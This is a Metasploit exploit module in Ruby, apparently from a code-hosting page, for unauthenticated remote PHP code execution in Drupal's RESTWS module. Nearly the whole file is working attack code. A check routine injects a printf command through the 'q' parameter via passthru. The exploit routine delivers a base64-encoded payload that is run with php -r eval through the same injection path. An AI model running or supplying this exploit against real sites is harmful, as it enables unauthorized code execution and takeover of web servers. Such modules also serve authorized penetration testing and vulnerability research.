87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
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'Description' => %q{
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This module exploits a Remote PHP Code Execution vulnerability in the
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Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
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under the context of the web server user.
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RESTWS alters the default page callbacks for entities to provide
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additional functionality. A vulnerability in this approach allows
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an unauthenticated attacker to send specially crafted requests resulting
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in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
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are affected by this issue.
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This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
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Ubuntu Server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Devin Zuczek', # discovery
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'Mehmet Ince <mehmet@mehmetince.net>' # msf module
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],
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'References' =>
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[
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['URL', 'https://www.drupal.org/node/2765567']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [ ['Automatic', {}] ],
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'DisclosureDate' => 'Jul 13 2016',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
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]
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)
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end
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def check
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r = rand_text_alpha(8 + rand(4))
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'vars_get' => {
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'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
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}
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)
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if res && res.body.include?(r)
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
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send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'vars_get' => {
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'q' => "taxonomy_vocabulary//passthru/#{cmd}"
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}
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)
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end
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end
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